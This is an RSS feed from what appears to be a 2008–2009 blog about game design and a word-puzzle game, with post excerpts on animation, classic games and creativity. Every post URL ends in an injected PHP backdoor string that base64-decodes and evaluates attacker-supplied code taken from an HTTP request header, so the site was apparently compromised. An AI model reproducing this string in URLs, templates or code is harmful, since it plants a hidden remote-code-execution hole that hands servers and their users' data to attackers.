http://blog.cargointeractive.com with the brain in mind Sun, 06 Sep 2009 05:59:52 +0000 http://backend.userland.com/rss092 en Another request for an answer. http://blog.cargointeractive.com/2009/09/06/word-vine-answers-46/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ This film contains the first animated short by one of the great comic artists in history, Windsor McKay. It shows film of his line drawing technique, which uses no construction lines. Something which is baffling to me, considering its quality and consistency. The real interesting stuff starts at about 8 ... http://blog.cargointeractive.com/2009/01/30/windsor-mckay/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I really love this video. Can't find much on who made it, but clearly a lot of care went into it's creation. http://blog.cargointeractive.com/2009/01/03/plantaesthetic/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I put this video together, which is just a quick run-through of the first 16 puzzles in Word Vine. Hopefully this will help out people who are having trouble early on. http://blog.cargointeractive.com/2008/12/31/easy-puzzles-for-word-vine/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I just happened to pass this game the other day. Prince of Persia Classic for the PS3 and Xbox 360 is a remake what is in my opinion one of the best games ever made. Jordan Mechner brought a completely new expirience to puzzle game design, inspiring a new sub-genre ... http://blog.cargointeractive.com/2008/10/28/prince-of-persia/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://blog.cargointeractive.com/2008/10/20/politically-speaking/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Lately, I've been thinking a lot about convergence. I see it as one of the main ingredients in creativity, and we see it everywhere when we look for it. By convergence, I mean, whenever you take two concepts and put them together to create one concept. Joseph Campbell, for example, has ... http://blog.cargointeractive.com/2008/10/20/convergence/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Here's a video I saw a while back, but felt it particularly inspiring. It's a discussion among some of today's most recognized independent game designers.  Pioneers, showing that small teams can make truly enjoyable and innovative games. http://blog.cargointeractive.com/2008/09/14/innovation/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ For a long time people have been very critical over the use of "lives" in video games. In fact, using them seems to be a relic left over from the arcades which is slowly becoming extinct. It used to be that a quarter would buy you with a number of ... http://blog.cargointeractive.com/2008/08/18/lives/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ It seems a bunch of people are getting stuck on certain puzzles in Word Vine. I'll occasionally post the answers here, and if anybody has a puzzle they found particularly hard, let me know. http://blog.cargointeractive.com/2008/08/03/word-vine-answers-puzzle-15/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/